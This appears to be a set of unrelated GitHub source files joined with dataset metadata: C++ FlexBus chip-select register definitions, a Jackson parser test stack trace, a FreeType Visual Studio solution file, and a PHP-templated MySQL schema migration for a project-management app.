v10=0x00000002, ///<Hold address and attributes three cycles after FB_CSn negates on writes.
v11=0x00000003, ///<Hold address and attributes four cycles after FB_CSn negates on writes. (Default FB_CS0)
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(17,16),Register::ReadWriteAccess,WrahVal> wrah{};
namespace WrahValC{
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v00> v00{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v01> v01{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v10> v10{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v11> v11{};
}
///Read address hold or deselect
enum class RdahVal {
v00=0x00000000, ///<If AA is cleared, 1 cycle. If AA is set, 0 cycles.
v01=0x00000001, ///<If AA is cleared, 2 cycles. If AA is set, 1 cycle.
v10=0x00000002, ///<If AA is cleared, 3 cycles. If AA is set, 2 cycles.
v11=0x00000003, ///<If AA is cleared, 4 cycles. If AA is set, 3 cycles.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(19,18),Register::ReadWriteAccess,RdahVal> rdah{};
namespace RdahValC{
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v00> v00{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v01> v01{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v10> v10{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v11> v11{};
}
///Address setup
enum class AsetVal {
v00=0x00000000, ///<Assert FB_CSn on first rising clock edge after address is asserted. (Default FB_CSn)
v01=0x00000001, ///<Assert FB_CSn on second rising clock edge after address is asserted.
v10=0x00000002, ///<Assert FB_CSn on third rising clock edge after address is asserted.
v11=0x00000003, ///<Assert FB_CSn on fourth rising clock edge after address is asserted. (Default FB_CS0)
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(21,20),Register::ReadWriteAccess,AsetVal> aset{};
namespace AsetValC{
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v00> v00{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v01> v01{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v10> v10{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v11> v11{};
}
///no description available
enum class ExtsVal {
v0=0x00000000, ///<FB_TS /FB_ALE asserts for one bus clock cycle
v1=0x00000001, ///<FB_TS /FB_ALE remains asserted until the first positive clock edge after FB_CSn asserts
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(22,22),Register::ReadWriteAccess,ExtsVal> exts{};
namespace ExtsValC{
constexpr Register::FieldValue<decltype(exts)::Type,ExtsVal::v0> v0{};
constexpr Register::FieldValue<decltype(exts)::Type,ExtsVal::v1> v1{};
}
///Secondary wait state enable
enum class SwsenVal {
v0=0x00000000, ///<The WS value inserts wait states before an internal transfer acknowledge is generated for all transfers
v1=0x00000001, ///<The SWS value inserts wait states before an internal transfer acknowledge is generated for burst transfer secondary terminations
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(23,23),Register::ReadWriteAccess,SwsenVal> swsen{};
namespace SwsenValC{
constexpr Register::FieldValue<decltype(swsen)::Type,SwsenVal::v0> v0{};
constexpr Register::FieldValue<decltype(swsen)::Type,SwsenVal::v1> v1{};
}
///Secondary wait states
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,26),Register::ReadWriteAccess,unsigned> sws{};
}
namespace FbCscr4{ ///<Chip select control register
using Addr = Register::Address<0x4000c038,0x03000007,0x00000000,unsigned>;
///Burst-write enable
enum class BstwVal {
v0=0x00000000, ///<Break data larger than the specified port size into individual, port-sized, non-burst writes. For example, a longword write to an 8-bit port takes four byte writes.
v1=0x00000001, ///<Enables burst write of data larger than the specified port size, including longword writes to 8 and 16-bit ports, word writes to 8-bit ports, and line writes to 8-, 16-, and 32-bit ports.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,BstwVal> bstw{};
namespace BstwValC{
constexpr Register::FieldValue<decltype(bstw)::Type,BstwVal::v0> v0{};
constexpr Register::FieldValue<decltype(bstw)::Type,BstwVal::v1> v1{};
}
///Burst-read enable
enum class BstrVal {
v0=0x00000000, ///<Data exceeding the specified port size is broken into individual, port-sized, non-burst reads. For example, a longword read from an 8-bit port is broken into four 8-bit reads.
v1=0x00000001, ///<Enables data burst reads larger than the specified port size, including longword reads from 8- and 16-bit ports, word reads from 8-bit ports, and line reads from 8, 16-, and 32-bit ports.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,BstrVal> bstr{};
namespace BstrValC{
constexpr Register::FieldValue<decltype(bstr)::Type,BstrVal::v0> v0{};
constexpr Register::FieldValue<decltype(bstr)::Type,BstrVal::v1> v1{};
}
///Byte-enable mode
enum class BemVal {
v0=0x00000000, ///<The FB_BE n signals are not asserted for reads. The FB_BE n signals are asserted for data write only.
v1=0x00000001, ///<The FB_BE n signals are asserted for read and write accesses
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,BemVal> bem{};
namespace BemValC{
constexpr Register::FieldValue<decltype(bem)::Type,BemVal::v0> v0{};
constexpr Register::FieldValue<decltype(bem)::Type,BemVal::v1> v1{};
}
///Port size
enum class PsVal {
v00=0x00000000, ///<32-bit port size. Valid data sampled and driven on FB_D[31:0]
v01=0x00000001, ///<8-bit port size. Valid data sampled and driven on FB_D[31:24] if BLS = 0 or FB_D[7:0] if BLS = 1
v10=0x00000002, ///<16-bit port size. Valid data sampled and driven on FB_D[31:16] if BLS = 0 or FB_D[15:0] if BLS = 1
v11=0x00000003, ///<16-bit port size. Valid data sampled and driven on FB_D[31:16] if BLS = 0 or FB_D[15:0] if BLS = 1
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,6),Register::ReadWriteAccess,PsVal> ps{};
namespace PsValC{
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v00> v00{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v01> v01{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v10> v10{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v11> v11{};
}
///Auto-acknowledge enable
enum class AaVal {
v0=0x00000000, ///<No internal FB_TA is asserted. Cycle is terminated externally
v1=0x00000001, ///<Internal transfer acknowledge is asserted as specified by WS
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,AaVal> aa{};
namespace AaValC{
constexpr Register::FieldValue<decltype(aa)::Type,AaVal::v0> v0{};
constexpr Register::FieldValue<decltype(aa)::Type,AaVal::v1> v1{};
}
///Byte-lane shift
enum class BlsVal {
v0=0x00000000, ///<Not shifted. Data is left-justfied on FB_AD.
v1=0x00000001, ///<Shifted. Data is right justified on FB_AD.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,9),Register::ReadWriteAccess,BlsVal> bls{};
namespace BlsValC{
constexpr Register::FieldValue<decltype(bls)::Type,BlsVal::v0> v0{};
constexpr Register::FieldValue<decltype(bls)::Type,BlsVal::v1> v1{};
}
///Wait states
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,10),Register::ReadWriteAccess,unsigned> ws{};
///Write address hold or deselect
enum class WrahVal {
v00=0x00000000, ///<Hold address and attributes one cycle after FB_CSn negates on writes. (Default FB_CSn)
v01=0x00000001, ///<Hold address and attributes two cycles after FB_CSn negates on writes.
v10=0x00000002, ///<Hold address and attributes three cycles after FB_CSn negates on writes.
v11=0x00000003, ///<Hold address and attributes four cycles after FB_CSn negates on writes. (Default FB_CS0)
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(17,16),Register::ReadWriteAccess,WrahVal> wrah{};
namespace WrahValC{
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v00> v00{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v01> v01{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v10> v10{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v11> v11{};
}
///Read address hold or deselect
enum class RdahVal {
v00=0x00000000, ///<If AA is cleared, 1 cycle. If AA is set, 0 cycles.
v01=0x00000001, ///<If AA is cleared, 2 cycles. If AA is set, 1 cycle.
v10=0x00000002, ///<If AA is cleared, 3 cycles. If AA is set, 2 cycles.
v11=0x00000003, ///<If AA is cleared, 4 cycles. If AA is set, 3 cycles.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(19,18),Register::ReadWriteAccess,RdahVal> rdah{};
namespace RdahValC{
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v00> v00{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v01> v01{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v10> v10{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v11> v11{};
}
///Address setup
enum class AsetVal {
v00=0x00000000, ///<Assert FB_CSn on first rising clock edge after address is asserted. (Default FB_CSn)
v01=0x00000001, ///<Assert FB_CSn on second rising clock edge after address is asserted.
v10=0x00000002, ///<Assert FB_CSn on third rising clock edge after address is asserted.
v11=0x00000003, ///<Assert FB_CSn on fourth rising clock edge after address is asserted. (Default FB_CS0)
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(21,20),Register::ReadWriteAccess,AsetVal> aset{};
namespace AsetValC{
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v00> v00{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v01> v01{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v10> v10{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v11> v11{};
}
///no description available
enum class ExtsVal {
v0=0x00000000, ///<FB_TS /FB_ALE asserts for one bus clock cycle
v1=0x00000001, ///<FB_TS /FB_ALE remains asserted until the first positive clock edge after FB_CSn asserts
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(22,22),Register::ReadWriteAccess,ExtsVal> exts{};
namespace ExtsValC{
constexpr Register::FieldValue<decltype(exts)::Type,ExtsVal::v0> v0{};
constexpr Register::FieldValue<decltype(exts)::Type,ExtsVal::v1> v1{};
}
///Secondary wait state enable
enum class SwsenVal {
v0=0x00000000, ///<The WS value inserts wait states before an internal transfer acknowledge is generated for all transfers
v1=0x00000001, ///<The SWS value inserts wait states before an internal transfer acknowledge is generated for burst transfer secondary terminations
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(23,23),Register::ReadWriteAccess,SwsenVal> swsen{};
namespace SwsenValC{
constexpr Register::FieldValue<decltype(swsen)::Type,SwsenVal::v0> v0{};
constexpr Register::FieldValue<decltype(swsen)::Type,SwsenVal::v1> v1{};
}
///Secondary wait states
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,26),Register::ReadWriteAccess,unsigned> sws{};
}
namespace FbCscr5{ ///<Chip select control register
using Addr = Register::Address<0x4000c044,0x03000007,0x00000000,unsigned>;
///Burst-write enable
enum class BstwVal {
v0=0x00000000, ///<Break data larger than the specified port size into individual, port-sized, non-burst writes. For example, a longword write to an 8-bit port takes four byte writes.
v1=0x00000001, ///<Enables burst write of data larger than the specified port size, including longword writes to 8 and 16-bit ports, word writes to 8-bit ports, and line writes to 8-, 16-, and 32-bit ports.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,BstwVal> bstw{};
namespace BstwValC{
constexpr Register::FieldValue<decltype(bstw)::Type,BstwVal::v0> v0{};
constexpr Register::FieldValue<decltype(bstw)::Type,BstwVal::v1> v1{};
}
///Burst-read enable
enum class BstrVal {
v0=0x00000000, ///<Data exceeding the specified port size is broken into individual, port-sized, non-burst reads. For example, a longword read from an 8-bit port is broken into four 8-bit reads.
v1=0x00000001, ///<Enables data burst reads larger than the specified port size, including longword reads from 8- and 16-bit ports, word reads from 8-bit ports, and line reads from 8, 16-, and 32-bit ports.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,BstrVal> bstr{};
namespace BstrValC{
constexpr Register::FieldValue<decltype(bstr)::Type,BstrVal::v0> v0{};
constexpr Register::FieldValue<decltype(bstr)::Type,BstrVal::v1> v1{};
}
///Byte-enable mode
enum class BemVal {
v0=0x00000000, ///<The FB_BE n signals are not asserted for reads. The FB_BE n signals are asserted for data write only.
v1=0x00000001, ///<The FB_BE n signals are asserted for read and write accesses
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,BemVal> bem{};
namespace BemValC{
constexpr Register::FieldValue<decltype(bem)::Type,BemVal::v0> v0{};
constexpr Register::FieldValue<decltype(bem)::Type,BemVal::v1> v1{};
}
///Port size
enum class PsVal {
v00=0x00000000, ///<32-bit port size. Valid data sampled and driven on FB_D[31:0]
v01=0x00000001, ///<8-bit port size. Valid data sampled and driven on FB_D[31:24] if BLS = 0 or FB_D[7:0] if BLS = 1
v10=0x00000002, ///<16-bit port size. Valid data sampled and driven on FB_D[31:16] if BLS = 0 or FB_D[15:0] if BLS = 1
v11=0x00000003, ///<16-bit port size. Valid data sampled and driven on FB_D[31:16] if BLS = 0 or FB_D[15:0] if BLS = 1
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,6),Register::ReadWriteAccess,PsVal> ps{};
namespace PsValC{
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v00> v00{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v01> v01{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v10> v10{};
constexpr Register::FieldValue<decltype(ps)::Type,PsVal::v11> v11{};
}
///Auto-acknowledge enable
enum class AaVal {
v0=0x00000000, ///<No internal FB_TA is asserted. Cycle is terminated externally
v1=0x00000001, ///<Internal transfer acknowledge is asserted as specified by WS
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,AaVal> aa{};
namespace AaValC{
constexpr Register::FieldValue<decltype(aa)::Type,AaVal::v0> v0{};
constexpr Register::FieldValue<decltype(aa)::Type,AaVal::v1> v1{};
}
///Byte-lane shift
enum class BlsVal {
v0=0x00000000, ///<Not shifted. Data is left-justfied on FB_AD.
v1=0x00000001, ///<Shifted. Data is right justified on FB_AD.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,9),Register::ReadWriteAccess,BlsVal> bls{};
namespace BlsValC{
constexpr Register::FieldValue<decltype(bls)::Type,BlsVal::v0> v0{};
constexpr Register::FieldValue<decltype(bls)::Type,BlsVal::v1> v1{};
}
///Wait states
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,10),Register::ReadWriteAccess,unsigned> ws{};
///Write address hold or deselect
enum class WrahVal {
v00=0x00000000, ///<Hold address and attributes one cycle after FB_CSn negates on writes. (Default FB_CSn)
v01=0x00000001, ///<Hold address and attributes two cycles after FB_CSn negates on writes.
v10=0x00000002, ///<Hold address and attributes three cycles after FB_CSn negates on writes.
v11=0x00000003, ///<Hold address and attributes four cycles after FB_CSn negates on writes. (Default FB_CS0)
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(17,16),Register::ReadWriteAccess,WrahVal> wrah{};
namespace WrahValC{
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v00> v00{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v01> v01{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v10> v10{};
constexpr Register::FieldValue<decltype(wrah)::Type,WrahVal::v11> v11{};
}
///Read address hold or deselect
enum class RdahVal {
v00=0x00000000, ///<If AA is cleared, 1 cycle. If AA is set, 0 cycles.
v01=0x00000001, ///<If AA is cleared, 2 cycles. If AA is set, 1 cycle.
v10=0x00000002, ///<If AA is cleared, 3 cycles. If AA is set, 2 cycles.
v11=0x00000003, ///<If AA is cleared, 4 cycles. If AA is set, 3 cycles.
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(19,18),Register::ReadWriteAccess,RdahVal> rdah{};
namespace RdahValC{
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v00> v00{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v01> v01{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v10> v10{};
constexpr Register::FieldValue<decltype(rdah)::Type,RdahVal::v11> v11{};
}
///Address setup
enum class AsetVal {
v00=0x00000000, ///<Assert FB_CSn on first rising clock edge after address is asserted. (Default FB_CSn)
v01=0x00000001, ///<Assert FB_CSn on second rising clock edge after address is asserted.
v10=0x00000002, ///<Assert FB_CSn on third rising clock edge after address is asserted.
v11=0x00000003, ///<Assert FB_CSn on fourth rising clock edge after address is asserted. (Default FB_CS0)
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(21,20),Register::ReadWriteAccess,AsetVal> aset{};
namespace AsetValC{
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v00> v00{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v01> v01{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v10> v10{};
constexpr Register::FieldValue<decltype(aset)::Type,AsetVal::v11> v11{};
}
///no description available
enum class ExtsVal {
v0=0x00000000, ///<FB_TS /FB_ALE asserts for one bus clock cycle
v1=0x00000001, ///<FB_TS /FB_ALE remains asserted until the first positive clock edge after FB_CSn asserts
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(22,22),Register::ReadWriteAccess,ExtsVal> exts{};
namespace ExtsValC{
constexpr Register::FieldValue<decltype(exts)::Type,ExtsVal::v0> v0{};
constexpr Register::FieldValue<decltype(exts)::Type,ExtsVal::v1> v1{};
}
///Secondary wait state enable
enum class SwsenVal {
v0=0x00000000, ///<The WS value inserts wait states before an internal transfer acknowledge is generated for all transfers
v1=0x00000001, ///<The SWS value inserts wait states before an internal transfer acknowledge is generated for burst transfer secondary terminations
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(23,23),Register::ReadWriteAccess,SwsenVal> swsen{};
namespace SwsenValC{
constexpr Register::FieldValue<decltype(swsen)::Type,SwsenVal::v0> v0{};
constexpr Register::FieldValue<decltype(swsen)::Type,SwsenVal::v1> v1{};
}
///Secondary wait states
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,26),Register::ReadWriteAccess,unsigned> sws{};
}
}
|
{
"pile_set_name": "Github"
}
|
--- com.fasterxml.jackson.core.read.NonStandardUnquotedNamesTest::testUnquotedIssue510
java.lang.ArrayIndexOutOfBoundsException: 256
at com.fasterxml.jackson.core.json.ReaderBasedJsonParser._handleOddName2(ReaderBasedJsonParser.java:1964)
at com.fasterxml.jackson.core.json.ReaderBasedJsonParser._handleOddName(ReaderBasedJsonParser.java:1807)
at com.fasterxml.jackson.core.json.ReaderBasedJsonParser.nextToken(ReaderBasedJsonParser.java:692)
at com.fasterxml.jackson.core.read.NonStandardUnquotedNamesTest.testUnquotedIssue510(NonStandardUnquotedNamesTest.java:49)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at junit.framework.TestCase.runTest(TestCase.java:176)
at junit.framework.TestCase.runBare(TestCase.java:141)
at junit.framework.TestResult$1.protect(TestResult.java:122)
at junit.framework.TestResult.runProtected(TestResult.java:142)
at junit.framework.TestResult.run(TestResult.java:125)
at junit.framework.TestCase.run(TestCase.java:129)
at junit.framework.TestSuite.runTest(TestSuite.java:255)
at junit.framework.TestSuite.run(TestSuite.java:250)
at org.apache.tools.ant.taskdefs.optional.junit.JUnitTestRunner.run(JUnitTestRunner.java:520)
at org.apache.tools.ant.taskdefs.optional.junit.JUnitTask.executeInVM(JUnitTask.java:1484)
at org.apache.tools.ant.taskdefs.optional.junit.JUnitTask.execute(JUnitTask.java:872)
at org.apache.tools.ant.taskdefs.optional.junit.JUnitTask.executeOrQueue(JUnitTask.java:1972)
at org.apache.tools.ant.taskdefs.optional.junit.JUnitTask.execute1(JUnitTask.java:824)
at org.apache.tools.ant.taskdefs.optional.junit.JUnitTask.execute(JUnitTask.java:2277)
at org.apache.tools.ant.UnknownElement.execute(UnknownElement.java:291)
at sun.reflect.GeneratedMethodAccessor4.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.apache.tools.ant.dispatch.DispatchUtils.execute(DispatchUtils.java:106)
at org.apache.tools.ant.Task.perform(Task.java:348)
at org.apache.tools.ant.Target.execute(Target.java:392)
at org.apache.tools.ant.Target.performTasks(Target.java:413)
at org.apache.tools.ant.Project.executeSortedTargets(Project.java:1399)
at org.apache.tools.ant.Project.executeTarget(Project.java:1368)
at org.apache.tools.ant.helper.DefaultExecutor.executeTargets(DefaultExecutor.java:41)
at org.apache.tools.ant.Project.executeTargets(Project.java:1251)
at org.apache.tools.ant.Main.runBuild(Main.java:811)
at org.apache.tools.ant.Main.startAnt(Main.java:217)
at org.apache.tools.ant.launch.Launcher.run(Launcher.java:280)
at org.apache.tools.ant.launch.Launcher.main(Launcher.java:109)
|
{
"pile_set_name": "Github"
}
|
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "freetype", "freetype.vcproj", "{78B079BD-9FC7-4B9E-B4A6-96DA0F00248B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug Multithreaded|Win32 = Debug Multithreaded|Win32
Debug Singlethreaded|Win32 = Debug Singlethreaded|Win32
Debug|Win32 = Debug|Win32
Release Multithreaded|Win32 = Release Multithreaded|Win32
Release Singlethreaded|Win32 = Release Singlethreaded|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{78B079BD-9FC7-4B9E-B4A6-96DA0F00248B}.Debug Multithreaded|Win32.ActiveCfg = Debug Multithreaded|Win32
{78B079BD-9FC7-4B9E-B4A6-96DA0F00248B}.Debug Multithreaded|Win32.Build.0 = Debug Multithreaded|Win32
{78B079BD-9FC7-4B9E-B4A6-96DA0F00248B}.Debug Singlethreaded|Win32.ActiveCfg = Debug Singlethreaded|Win32
{78B079BD-9FC7-4B9E-B4A6-96DA0F00248B}.Debug Singlethreaded|Win32.Build.0 = Debug Singlethreaded|Win32
{78B079BD-9FC7-4B9E-B4A6-96DA0F00248B}.Debug|Win32.ActiveCfg = Debug|Win32
{78B079BD-9FC7-4B9E-B4A6-96DA0F00248B}.Debug|Win32.Build.0 = Debug|Win32
{78B079BD-9FC7-4B9E-B4A6-96DA0F00248B}.Release Multithreaded|Win32.ActiveCfg = Release Multithreaded|Win32
{78B079BD-9FC7-4B9E-B4A6-96DA0F00248B}.Release Multithreaded|Win32.Build.0 = Release Multithreaded|Win32
{78B079BD-9FC7-4B9E-B4A6-96DA0F00248B}.Release Singlethreaded|Win32.ActiveCfg = Release Singlethreaded|Win32
{78B079BD-9FC7-4B9E-B4A6-96DA0F00248B}.Release Singlethreaded|Win32.Build.0 = Release Singlethreaded|Win32
{78B079BD-9FC7-4B9E-B4A6-96DA0F00248B}.Release|Win32.ActiveCfg = Release|Win32
{78B079BD-9FC7-4B9E-B4A6-96DA0F00248B}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
|
{
"pile_set_name": "Github"
}
|
CREATE TABLE `<?php echo $table_prefix ?>attached_files` (
`rel_object_manager` varchar(50) <?php echo $default_collation ?> NOT NULL default '',
`rel_object_id` int(10) unsigned NOT NULL default '0',
`file_id` int(10) unsigned NOT NULL default '0',
`created_on` datetime NOT NULL default '0000-00-00 00:00:00',
`created_by_id` int(10) unsigned default NULL,
PRIMARY KEY (`rel_object_manager`,`rel_object_id`,`file_id`)
) ENGINE=InnoDB <?php echo $default_charset ?>;
CREATE TABLE `<?php echo $table_prefix ?>comments` (
`id` int(10) unsigned NOT NULL auto_increment,
`rel_object_id` int(10) unsigned NOT NULL default '0',
`rel_object_manager` varchar(30) <?php echo $default_collation ?> NOT NULL default '',
`text` text <?php echo $default_collation ?>,
`is_private` tinyint(1) unsigned NOT NULL default '0',
`is_anonymous` tinyint(1) unsigned NOT NULL default '0',
`author_name` varchar(50) <?php echo $default_collation ?> default NULL,
`author_email` varchar(100) <?php echo $default_collation ?> default NULL,
`author_homepage` varchar(100) <?php echo $default_collation ?> NOT NULL default '',
`created_on` datetime NOT NULL default '0000-00-00 00:00:00',
`created_by_id` int(10) unsigned default NULL,
`updated_on` datetime NOT NULL default '0000-00-00 00:00:00',
`updated_by_id` int(10) unsigned default NULL,
PRIMARY KEY (`id`),
KEY `object_id` (`rel_object_id`,`rel_object_manager`),
KEY `created_on` (`created_on`)
) ENGINE=InnoDB <?php echo $default_charset ?>;
CREATE TABLE `<?php echo $table_prefix ?>file_repo` (
`id` varchar(40) <?php echo $default_collation ?> NOT NULL default '',
`content` longblob NOT NULL,
`order` int(10) unsigned NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `order` (`order`)
) ENGINE=InnoDB <?php echo $default_charset ?>;
CREATE TABLE `<?php echo $table_prefix ?>file_repo_attributes` (
`id` varchar(40) <?php echo $default_collation ?> NOT NULL default '',
`attribute` varchar(50) <?php echo $default_collation ?> NOT NULL default '',
`value` text <?php echo $default_collation ?> NOT NULL,
PRIMARY KEY (`id`,`attribute`)
) ENGINE=InnoDB <?php echo $default_charset ?>;
CREATE TABLE `<?php echo $table_prefix ?>project_file_revisions` (
`id` int(10) unsigned NOT NULL auto_increment,
`file_id` int(10) unsigned NOT NULL default '0',
`file_type_id` smallint(5) unsigned NOT NULL default '0',
`repository_id` varchar(40) <?php echo $default_collation ?> NOT NULL default '',
`thumb_filename` varchar(44) <?php echo $default_collation ?> default NULL,
`revision_number` int(10) unsigned NOT NULL default '0',
`comment` text <?php echo $default_collation ?>,
`type_string` varchar(50) <?php echo $default_collation ?> NOT NULL default '',
`filesize` int(10) unsigned NOT NULL default '0',
`created_on` datetime NOT NULL default '0000-00-00 00:00:00',
`created_by_id` int(10) unsigned default NULL,
`updated_on` datetime NOT NULL default '0000-00-00 00:00:00',
`updated_by_id` int(10) unsigned default NULL,
PRIMARY KEY (`id`),
KEY `file_id` (`file_id`),
KEY `updated_on` (`updated_on`),
KEY `revision_number` (`revision_number`)
) ENGINE=InnoDB <?php echo $default_charset ?>;
CREATE TABLE `<?php echo $table_prefix ?>project_files` (
`id` int(10) unsigned NOT NULL auto_increment,
`project_id` int(10) unsigned NOT NULL default '0',
`folder_id` smallint(5) unsigned NOT NULL default '0',
`filename` varchar(100) <?php echo $default_collation ?> NOT NULL default '',
`description` text <?php echo $default_collation ?>,
`is_private` tinyint(1) unsigned NOT NULL default '0',
`is_important` tinyint(1) unsigned NOT NULL default '0',
`is_locked` tinyint(1) unsigned NOT NULL default '0',
`is_visible` tinyint(1) unsigned NOT NULL default '0',
`expiration_time` datetime NOT NULL default '0000-00-00 00:00:00',
`comments_enabled` tinyint(1) unsigned NOT NULL default '1',
`anonymous_comments_enabled` tinyint(1) unsigned NOT NULL default '0',
`created_on` datetime NOT NULL default '0000-00-00 00:00:00',
`created_by_id` int(10) unsigned default '0',
`updated_on` datetime NOT NULL default '0000-00-00 00:00:00',
`updated_by_id` int(10) unsigned default '0',
PRIMARY KEY (`id`),
KEY `project_id` (`project_id`)
) ENGINE=InnoDB <?php echo $default_charset ?>;
CREATE TABLE `<?php echo $table_prefix ?>project_folders` (
`id` smallint(5) unsigned NOT NULL auto_increment,
`project_id` int(10) unsigned NOT NULL default '0',
`name` varchar(50) <?php echo $default_collation ?> NOT NULL default '',
PRIMARY KEY (`id`),
UNIQUE KEY `project_id` (`project_id`,`name`)
) ENGINE=InnoDB <?php echo $default_charset ?>;
ALTER TABLE `<?php echo $table_prefix ?>application_logs` CHANGE `object_id` `rel_object_id` int(10) NOT NULL DEFAULT '0';
ALTER TABLE `<?php echo $table_prefix ?>application_logs` CHANGE `object_manager_class` `rel_object_manager` varchar(50) NOT NULL;
ALTER TABLE `<?php echo $table_prefix ?>application_logs` MODIFY COLUMN `is_private` tinyint(1) unsigned NOT NULL DEFAULT '0';
ALTER TABLE `<?php echo $table_prefix ?>application_logs` ADD COLUMN `is_silent` tinyint(1) unsigned NOT NULL DEFAULT '0';
ALTER TABLE `<?php echo $table_prefix ?>companies` MODIFY COLUMN `client_of_id` smallint(5) unsigned;
ALTER TABLE `<?php echo $table_prefix ?>companies` MODIFY COLUMN `logo_file` varchar(44);
ALTER TABLE `<?php echo $table_prefix ?>companies` ADD COLUMN `timezone` float(3,1) NOT NULL DEFAULT '0.0';
ALTER TABLE `<?php echo $table_prefix ?>project_messages` ADD COLUMN `comments_enabled` tinyint(1) unsigned NOT NULL DEFAULT '1';
ALTER TABLE `<?php echo $table_prefix ?>project_messages` ADD COLUMN `anonymous_comments_enabled` tinyint(1) unsigned NOT NULL DEFAULT '0';
ALTER TABLE `<?php echo $table_prefix ?>project_messages` DROP COLUMN `is_locked`;
ALTER TABLE `<?php echo $table_prefix ?>project_milestones` MODIFY COLUMN `description` text;
ALTER TABLE `<?php echo $table_prefix ?>project_tasks` MODIFY COLUMN `text` text;
ALTER TABLE `<?php echo $table_prefix ?>project_users` CHANGE `can_upload_documents` `can_upload_files` tinyint(1) unsigned DEFAULT '0';
ALTER TABLE `<?php echo $table_prefix ?>project_users` CHANGE `can_manage_documents` `can_manage_files` tinyint(1) unsigned DEFAULT '0';
